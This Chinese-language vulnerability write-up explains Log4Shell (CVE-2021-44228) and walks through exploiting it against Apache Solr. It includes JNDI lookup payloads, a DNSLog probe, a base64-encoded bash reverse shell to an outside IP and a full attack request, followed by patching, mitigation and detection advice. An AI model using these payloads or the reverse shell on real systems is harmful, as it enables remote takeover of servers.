Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
字数 1554 2025-08-29 08:30:25
Log4j2 JNDI 注入漏洞(CVE-2021-44228) 深入解析与利用指南
1. 漏洞概述
CVE-2021-44228 是 Apache Log4j2 中一个严重的远程代码执行漏洞,影响版本为 2.0 到 2.14.1。该漏洞源于 Log4j2 支持的 JNDI Lookup 功能,攻击者可通过构造恶意日志触发 JNDI 远程资源加载,导致任意代码执行。
2. 核心概念解析
2.1 Lookup 功能
定义:Lookup 是 Log4j2 提供的动态变量解析接口,允许在日志模板中嵌入环境变量、系统参数等动态内容。
语法:
- 格式:
${prefix:key} - 常见用法:
${java:os}:获取操作系统信息${env:VAR}:获取环境变量${sys:VAR}:获取系统属性${jndi:...}:通过 JNDI 查找资源
2.2 JNDI (Java Naming and Directory Interface)
JNDI 是 Java 提供的一种 API,用于访问和操作命名和目录服务。它允许 Java 应用程序通过统一的接口访问不同的命名和目录服务,如:
- LDAP
- DNS
- RMI
3. 漏洞利用原理
攻击者可以通过控制日志内容,传入类似 ${jndi:ldap://evil.com/example} 的 lookup 表达式进行 JNDI 注入,导致远程代码执行。
4. 漏洞验证方法
4.1 使用 DNSLog 验证
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: xxxxxx:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
可替换的变量:
${hostName}${sys:user.dir}${sys:java.version}${java:os}
4.2 使用 JNDI-Injection-Exploit 工具
- 下载工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
- 执行命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] - 构造反弹 shell(使用 base64 编码):
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 189.1.226.116 - 选择合适的 target 构造攻击请求:
GET /solr/admin/cores?action=${jndi:ldap://189.1.226.116:1389/b48lwl} HTTP/1.1 Host: 101.133.238.18:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br DNT: 1 Sec-GPC: 1 Connection: keep-alive Cookie: JSESSIONID=3B6F4088813DE4986AC7564771D6388E Upgrade-Insecure-Requests: 1
注意:利用过程可能有延迟,需要等待一段时间才能收到反弹 shell。
5. 漏洞修复方案
-
升级 Log4j2:
- 升级到 2.15.0 或更高版本
- 2.15.0 版本默认禁用了 JNDI 功能
-
临时缓解措施:
- 设置系统属性
log4j2.formatMsgNoLookups=true - 修改 JVM 参数:
-Dlog4j2.formatMsgNoLookups=true - 移除
org.apache.logging.log4j.core.lookup.JndiLookup类
- 设置系统属性
-
环境变量设置:
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
6. 漏洞影响范围
- 受影响版本:Apache Log4j2 2.0-beta9 至 2.14.1
- 受影响组件:任何使用受影响版本 Log4j2 的 Java 应用程序
- 攻击场景:攻击者只需能够控制日志内容(如通过 HTTP 请求头、表单参数等)
7. 防御建议
- 输入验证:对所有用户输入进行严格验证和过滤
- 日志监控:监控日志中可疑的 JNDI lookup 模式
- 最小权限原则:限制应用程序运行权限
- 网络隔离:限制出站网络连接,特别是 LDAP、RMI 等协议
- WAF 规则:部署 Web 应用防火墙规则拦截包含
${jndi:的请求
8. 漏洞检测工具
-
Log4j2 漏洞扫描器:
- log4j-scan
- log4j-detector
- log4j2-rce-poc
-
手动检测方法:
grep -r "log4j" /path/to/application | grep -i "core"
9. 总结
CVE-2021-44228 是一个影响广泛的严重漏洞,利用门槛低但危害大。理解其原理和利用方式对于安全防护至关重要。建议所有使用 Log4j2 的组织立即采取修复措施,并持续监控相关组件的安全更新。